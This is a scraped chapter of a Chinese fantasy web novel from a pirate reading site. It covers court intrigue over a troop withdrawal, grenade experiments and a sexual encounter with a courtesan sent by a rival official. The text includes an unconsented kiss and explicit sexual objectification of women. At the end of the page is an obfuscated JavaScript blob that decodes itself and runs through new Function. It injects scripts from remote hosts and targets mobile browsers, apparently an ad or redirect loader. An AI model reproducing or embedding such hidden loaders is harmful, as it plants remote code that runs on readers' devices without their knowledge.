首页
第六章 缺德的朋友
返回
关灯 护眼:关 字号:小

第六章 缺德的朋友

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第六章
    程宗扬风一般赶到林清浦所在的静室,那面水镜已经悬了一炷香的时间。镜中波光微动,映出一张皱巴巴的老脸。
    程宗扬心头大定,殇侯出手破了宋军的法阵,至少江州眼下还是安全的。心头一松,程宗扬脸上带了几分笑意,哎哟,八八爷,怎么是您老人家?
    殇侯有气无力地说道:小程子,你就学坏吧,你交的这帮朋友,可活活是缺了大德了啊
    老头儿,你不是说笑话吧?他们再缺德,还能比得上你?
    瞧瞧!瞧瞧!殇侯痛心疾首地指著地上几面旗子。
    那些旗帜都是火红的战旗,上面织金绣彩,华丽异常,依稀就是小狐狸上次说老头儿耍猴把戏的大旗。只不过用的旗号恁古怪,大大的写著一个公字,再看一面,还是个公字。一连十几面,一串全是公、公、公公、公公
    瞧了半天,程宗扬终於明白过来,这旗上原来是用黑色丝线绣的八八两个字。多半是小狐狸犯坏,偷偷拿墨笔在下面添了一道,给改成公字,远远看来简直天衣无缝。
    程宗扬越看越忍不住,大笑道:怎么全是公的?没一个母的?
    哎哟喂,小程子!你就跟他们犯坏吧!
    侯爷别生气!就是个玩笑,我让小狐狸改过来,立刻改,行不行?不过话说回来,为了几面旗子的小事,您老人家亲自破阵找我,这气魄可真了不得!
    什么破阵啊!殇侯捶胸顿足地说道:你是不知道,我老人家可是被坑苦了啊!这些旗本来用的好好的,我老人家每天转一圈,就回家睡觉。今天一打出来,别人也就罢了,有一支啥龟孙军,一见著旗子就红了眼,玩命地跟我死磕啊。从城头打到城下,从城下打到城外,全是精锐也就算了,还有骑兵,全是骑兵也就算了,还有兽蛮人啊,连人带牲口的,生生把老头逼到这儿来啊。
    程宗扬七情上脸,他使劲憋著笑,肩膀一抖一抖,最後一头撞在水镜上,水镜波光一闪,随即消失。
    哈哈哈哈!程宗扬不顾形象地捧腹大笑起来。
    殇老头恐怕也想不到,他的卫队会莫名其妙地与城下最精锐的一支宋军死拼一场。没错,肯定是选锋营。这旗号一打出来,一连串的公公、公公,每一面都是在打选锋营主将秦翰的脸,选锋营那帮精兵悍将不和他们玩命才见鬼了。
    程宗扬兴高采烈地叫道:清浦!快连江州,我倒要瞧瞧殇老头和秦大貂璫火拚一场谁胜谁负。
    一回头,却见林清浦盘膝坐在地上,脸色泛青,额头全是汗珠。程宗扬想起水镜术最忌干扰,自己一不小心撞碎水镜,却伤了正在施术的林清浦。
    无妨。林清浦勉强道:属下歇息片刻就是了。
    程宗扬连声道:你歇著!你歇著!
    忽然他肩背一僵,回头叫道:你刚才说什么?属下!我干!你答应加入我盘江程氏了?
    林清浦苦笑道:林某此时若是请辞,家主可肯放在下离开?
    废话!
    林清浦耸了耸肩,那林某为免被家主灭口,只好如此了。
    程宗扬仰天大笑,边走边道:我程氏终於有自己的专职法师了!
    冯源从远处伸出头来,老程你叫我?
    叫的就是你!程宗扬笑骂道:冯大.法!都一个多月了,我跟你说的手雷搞出来了吗?
    那东西好做,就是太花钱了,一个得好几十个银铢,划不著啊。
    明天找老秦,先给你一百金铢,不管响不响,先做一批出来让我看看!
    成!公子你就瞧好吧!冯源道:我们平山宗搞设计可是祖传的!
    要被你祖师爷看到你做的东西,非气死不可!
    临进水榭时,程宗扬看到李师师也被自己的笑声惊动,抱著皮夹,讶然朝这边望来。
    程宗扬一时间恶作剧心起,一个箭步掠到李师师面前,不等她反应过来,便一把揽住她的小蛮腰,朝她樱唇上亲了一口。
    李师师顿时满面羞窘,竭力推开他,转身跑开。
    别跑啊,我有正事问你呢!算了算了,明天吧。
    从江州法阵被破,到殇老头的八八变公公,再到林清浦决定加入程氏,程宗扬半年来都没有这么高兴过,笑得下巴几乎都脱了。
    回到水榭楼上,看到赤体伏在榻侧的阮香凝,程宗扬朝她耸翘肥圆的大白屁股上拍了一把,神采飞扬地说道:凝美人儿!趁主子今天高兴!把你後庭的花苞也开了,好不好!
    阮香凝娇滴滴道:好呀,官人。
    次日清晨,翠微园天香水榭。
    李师师踏进客厅,侧身屈膝微微一福,家主。
    坐。
    程宗扬道:今天找你来,是想问一下光明观堂的事。
    家主想知道什么?
    嗯,先从光明观堂现在的情况说起吧。
    光明观堂在明州
    不是在山里吗?
    李师师摇头道:明师私下曾言,所谓深山修行,多半是求终南捷径。光明观堂本是济世救人,僻居山中,明哲保身或有之,济世救人则未必。况且光明观堂既然以医术行,多接触病人才能增进医术,因此光明观堂的主堂是设在闹市,病人可以直接入内求诊的。
    不对啊,那为什么乐明珠乐姑娘是从山上下来的呢?
    光明观堂有内堂外堂之分,外堂重医术,内堂重修行,因此设在明州东南的苍鹭山,由燕师叔传习。奴家资质平常,只入了外堂挂名
    程宗扬笑道:怎么说著说著就不高兴了呢?
    李师师勉强道:奴家是想起了自己的身世。如果奴家是内堂,也不至於让父亲求告无门。
    光明观堂这事干得确实有点薄情不说这个了,我是想问你为什么去虎翼军,又为什么去了明州?
    林清浦还没有恢复,暂时无法联络江州,程宗扬很担心宋军趁江州外援断绝的时候全力攻城,因此先找李师师打听一番。
    光明观堂与宋国曾有约定,每年都派遣弟子往军中行医。今年正轮到奴家去虎翼军。刚到军中不久,奴家就奉命前往江州。李师师犹豫了一下,奴家在江州前线遇到一种未知名的毒物,本来采集了一些,正准备送到堂中检验,就接到家中的书信,回到临安。
    程宗扬立刻紧张起来,你采集的毒物呢?
    李师师黯然道:奴家已回不得光明观堂,惟恐那些毒物留著害人,已经一火焚之。
    程宗扬松了口气,烧了就好。
    虽然殇侯的生化毒药拽得二五八万一样,但光明观堂与岳鸟人有过交往,谁知道她们会不会找出破解之法?
    李师师抬眼道:除了奴家所在的虎翼军,静塞军、广武军都有光明观堂的师姊,遇到这样的毒物,肯定会送到堂中。
    看来这种病毒流到光明观堂手中不可避免,程宗扬只好道:送就送吧,反正那种毒物用过五次就没用了,也没有大患。
    李师师沉默片刻,然後慢慢道:家主怎么知道那种毒物的效果呢?
    程宗扬一时语塞,然後乾笑道:你忘了我是江州从来的?咱们在路上还见过面呢。我路过战场的时候,正好看见一点。
    李师师不再多问,只拿出一本册子,奴家原以为要问帐目的事,用了一晚的时间,将钱庄的所有兑换纪录全部整理了一遍。
    人家功课做这么好,不问上几句,实在说不过去。程宗扬翻了翻,一边随口道:有什么有趣的内容吗?
    有。李师师道:奴家整理收回的纸币编号发现,持纸币前来兑换金铢的,九成以上都是发往临安以南区域的,临安以北来兑换的商号很少。
    还有这种事?程宗扬听著有些稀奇,会不会是临安以北的商号来往不便,暂时还没有到临安兑换?
    李师师摇了摇头,奴家也不知晓其中的原委。但纸币刚推出不足半月,只有临安和筠州两处兑换,也许家主说的没错。
    月底再看看吧。希望他们不要兑换完,好歹留一点让我周转。
    公子。
    俞子元进来,低声道:高太尉发脾气了,说他家衙内一连几日不见踪影,想必是被公子带坏,在外面花天酒地,要公子上门解释。
    程宗扬一看时辰已近午时,立刻知道高俅刚刚下朝,如果不是宋国朝廷有大事发生,他也不会用这种方法来找自己。
    赶到太尉府,高太尉已经等候多时,程宗扬小心赔了罪,又重重送了一份厚礼,高太尉才容色稍霁,留程宗扬在堂中喝茶。
    当著府里人的面演完戏,高俅屏退家人,直截了当地说道:朝廷已决意退兵。
    太好了!
    今晨太乙真宗新任掌教入宫面君,为陛下亲上尊号纯一真人,并献玉球宝册,以及临安的冲天观与江州的太乙宫,作为宫中的祈仙之所。
    这是什么意思?程宗扬叫道:太乙真宗在江州哪儿来的道观?
    太乙真宗道号,一为至尊。除六朝君主王侯,从不授予他人。一旦有此尊号,加上玉球宝册,便可对教内之事发言。至於江州的道观,太乙真宗要建一所,难道你会阻止?
    还真是这回事,别的不说,就冲秋小子的面子,自己也不会阻止太乙真宗在江州建观,至於送给宋主,多半是场面话,好让宋主觉得好歹在江州占了块地,总算没白打一趟。
    程宗扬一瞬间就明白了蔺老贼打的主意。自己让他给宋主一个台阶下,他倒好,直接拿个尊号加两座道观献给宋主,不但让宋主能体面撤军,还给自己拉了个盟友自从王哲一剑叩天之後,宋国与太乙真宗的关系一直比较僵硬,现在蔺老头藉著江州的势,亲自把宋主一方的势力请入教内,修复关系的同时,也使他在教中的地位水涨船高。这老家伙真有几下子,自己本来逼他办事,结果他事情办得漂漂亮亮,里里外外的好处也一点没落下。
    这老东西,我真服了他了!程宗扬讲了自己的判断,不禁对蔺采泉的手段拍案叫绝。
    非但如此。高俅对宋国的局势比程宗扬了解更多,太乙真宗虽是宋国第一大宗门,这二十年间,与宫内联系最紧密的,却是神霄宗。蔺掌教此举,未尝没有卷土重来的意思。
    王哲时代,太乙真宗与宋国关系僵硬,神霄宗趁势崛起,隐隐有取而代之的势头。蔺采泉这一著既帮了程宗扬的忙,又给自己拉了一个盟友,还对神宵宗形成反制,可谓一石三鸟,滴水不漏。
    撤军的诏书什么时候能发到江州前线?
    以金牌急脚递传送,七日可达。
    今天是三月十一,那就是三月十八日。程宗扬道:太乙真宗的面子可真够大的。
    朝廷财力捉襟见肘,也著实打不下去了。高俅道:今日朝会上,贾师宪仍然一力主战,结果户部的蔡郎中递了份账目,列了近来的开支,单购粮一项就用去二百万纸币和一百万金铢,合计三百万,几乎占了往年开支的一半,群臣顿时哗然。
    说到底还是粮战奏效,不显山不露水就把宋国逼到山穷水尽的地步,太乙真宗只是压垮骆驼的最後一根稻草。
    程宗扬心里得意,脸上笑道:是骂老贾败家吧?
    高俅摇了摇头,相反,连陛下都说,若非贾太师推出纸币,解了朝廷的燃眉之急,如今青黄不接之际,常平仓无粮可济,国中必出大事。
    宋主这是保老贾?
    陛下要用钱庄,就不能让贾太师失势。高俅冷冷道:梁师成危矣。
    程宗扬对宋国政局的变动并不放在心上,只要有宋主和贾师宪的支持,谁得势谁失势,跟自己一点关系没有。
    干了这么久,今晚可能睡个好觉了。高太尉,一同去看场鞠赛如何?
    高俅城府极深的表情中慢慢露出一丝笑意,正有此意。不过先要解决了林冲的事,他在牢里坐了半个多月,也该上路了。
    可不是嘛!不过刚才蔺掌教的话,我倒有了另一个主意
    程宗扬鲜衣怒马返回翠微园,一路不敢稍作停留。
    剑玉姬的手段自己已经领教过,因为怕她对云秀峰下手,自己特意搬到梵天寺,与云秀峰寸步不离,谁知道她人在临安,落子处却在数千里外的建康。只略施小计就险些让自己和星月湖大营陷入绝境,若不是自己一手操纵的经济战超出了剑玉姬的认知,这一仗连翻身的机会都没有。
    回想起来,程宗扬暗自庆幸自己选择了经济战,把真正的战场放在自己所擅长的领域之中。一场粮战,把宋国本就虚弱的财政撕得千创百孔,削弱了宋国的战争能力,最终在战场之外逼得宋国退兵。
    如今不仅解除了江州的危机,也把黑魔海出手所可能造成的损失,控制在最小的范围内。抛去云氏的麻烦暂时不提,这场由自己一手导演的经济战,可以说已经大获全胜,至少有底气向全力支持自己的孟老大覆命。
    剑玉姬不动声色地出招之後,就再无动作,程宗扬当然不会天真地以为她会就此偃旗息鼓。不管是奶妈还是妃子,黑魔海能从宫里弄个活人出来,程宗扬相信,高俅和自己交谈的同时,朝议决定撤兵的情报只怕已经放在剑玉姬案头。无论剑玉姬是继续拉拢自己,还是著手应对星月湖的反击,自己都处於危险之中。
    程宗扬之所以选择翠微园作为自己的临时住处,好处是别人也许会对自己与高俅的关系生疑,而恰恰是黑魔海不会起疑。因为正是黑魔海命令阮香凝接近高衙内,自己留在翠微园,是想给黑魔海造成一种局势仍然可控的假像,但剑玉姬会不会中计,自己没有半点把握。
    为了保证安全,程宗扬把能带出来的手下全带在身边,尤其是金兀术、青面兽和豹子头,三名兽蛮武士品字型把他围在中间。这三人不但实力强悍,体格更是活生生的重型肉盾,面且三人半人半兽,兼备一种野兽对危险的直觉,用来防备刺杀最合适不过。
    一路无惊无险地回到翠微园,刚到後院,便听到一声巨响,旁边一间房舍四面窗户被震得粉碎,喷出一股浓烟。
    俞子元矫健地跃起身,一把扯住程宗扬坐骑的缰绳,挡住他半边身体。接著金兀术等人往中间一合,像三座肉山严严实实把他包围起来。
    咳咳一个人跌跌撞撞从房内出来,浑身衣物被炸得稀烂,脸熏得黑黑的,瞧五官的轮廓,依稀是冯源。
    程宗扬又是好气又是好笑,冯大.法,搞什么鬼呢?
    木木炭的比例大了些冯源咳嗽著道:我我再试试
    做实验你装那么多火药干吗?子元!把冯大.法带到前面洗洗,看看有没有受伤。
    我是玩火法的!什么火能烧到我!哎哟哪儿来的玻璃
    冯源捂著屁股一叠声地叫痛,俞子元忍著笑扶他到前院处理伤势。
    程宗扬在後面嚷道:冯大.法!你要造出来手雷,我就用你名义设个奖,叫冯大.法师奖!每年评一次,专门奖给各行各业的杰出人士!
    哎哟脚上还有一块平山!平山!叫平山大奖!我冯大.法不能忘本啊
    这个插曲让程宗扬紧绷的心事一下放松下来,他笑著进了水榭,却见李师师坐在客厅里,一向柔和平静的玉脸此时却彷佛挂著寒霜。
    厅内还有一个妇人,她满头珠翠,衣饰华美,却是跪在李师师脚边,似乎在央求什么。见到程宗扬进来,她立刻堆起一脸的笑容。
    李师师冷著脸拂袖而起,家主回来了,你自己跟家主说吧。
    程宗扬讶道:她是谁?
    那妇人道:奴婢是是一个妓女。李师师打断她,带著一丝讥讽的口吻道:下面人送来,让家主消遣的。
    是吗?程宗扬玩笑道:哪家掌柜这么有情调?
    是秦会之。李师师似乎不想多理睬那女子,说完便离开水榭。
    死奸臣玩这一出算什么?美色惑主?不知道我程宗扬平生最不怕的就是美人计吗?
    程宗扬瞧了瞧那妇人,虽然不及阮香琳、阮香凝姊妹美貌,但水蛇腰,桃腮杏脸,打扮得花枝招展,眉眼间别有一番妖冶的风情,不知是哪家勾栏瓦子的粉头。
    程宗扬走过去道:起来吧,跪在地上,膝盖不痛吗?我就一个商人,用不著行什么跪拜礼。
    那妇人娇声道:程爷是工部的员外,还兼著户部的差使,奴婢跪一跪也是应当的。
    户部的差使?我怎么不知道?
    宫里刚发的诏旨,户部新设宝钞局,陛下亲笔点了员外的名字,担任宝钞局主事,料想这两日诏书就该到了。
    你消息倒灵通,连我都不知道呢。
    那妇人笑道:奴婢一听说,便赶来给员外道喜。员外面相生得好福气,将来少不得封妻荫子,公侯万代。
    程宗扬停下脚步,你究竟是什么人?
    那妇人赔笑道:方才师师姑娘已经说了的,程爷当奴婢是下人送来的粉头便是。
    一个粉头竟然知道宫里刚发的诏旨你说我信还是不信?
    无论爷信还是不信,奴婢今次专是向程爷赔罪来的。不管爷要打要骂,还是要做别的什么奴婢都甘之若贻。
    起来。
    奴婢不敢。
    我让你起来就起来!
    奴婢啊呀
    程宗扬一把拽住那妇人的衣衫,拉她起身,谁知那妇人往旁边一躲,却拉住她的衣襟,手上一用力,把那妇人衣衫拉下半幅。
    那妇人斜倚地上,眉宇间含羞带怨,妖媚地腻声道:爷小心呢
    程宗扬喉咙发乾,愣了片刻,接著一把抓住她的手臂,把她拖到楼上。
    天香水榭是一幢临湖的三层楼宇,程宗扬把高衙内赶到前院,自占了水榭居住。下面一层是平常会客办事的场所,因为里面藏著阮香凝这个娇娃,两层以上从不让外人上。
    送上门的肉,自己都不敢吃,这要传扬出去,还不被六朝的英雄看扁啊。
    抱著这个想法,程宗扬一边上楼,一边去扯那妇人的衣物。那妇人妖冶地扭动身体,不但任他扯衣脱裤,还主动摇臀摆乳地往他身上凑。
    华丽的衣衫裙钗一路掉满楼梯,待上了楼,那妇人已经被剥得像只白羊般,光溜溜一丝不挂。程宗扬把她往坐榻上一丢,然後解开衣物。
    那妇人倚在榻上,双条粉腿并在一处,斜著身摆出妖媚的姿势,一边用半是惊叹半是妖媚的口气道:爷的身子好壮呢。
    壮不壮,干过才知道。程宗扬在她脸上扭了一把,送上门的粉头装什么嫩呢?
    奴实心实意给爷赔罪啊呀求爷放过奴婢一家
    这句话刚出口,那年轻人忽然停住动作,两眼冷冷盯著她,森然道:你究竟是谁?
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();